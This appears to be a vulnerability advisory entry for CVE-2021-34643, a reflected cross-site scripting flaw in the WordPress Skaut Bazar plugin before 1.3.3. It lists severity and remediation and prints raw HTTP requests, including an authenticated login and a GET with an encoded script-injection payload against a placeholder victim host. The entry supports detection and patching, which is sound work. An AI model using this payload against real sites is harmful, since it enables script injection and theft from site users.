| Title | WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.23353 |
| CVE ID | CVE-2021-34643 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress wp-plugin authenticated skaut-bazar_project xss vuln |
WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=zC2STO&pwd=TojYfX&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php/%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/?page=skatubazar_option HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.12
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34643.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34643.pcap
N/AN/A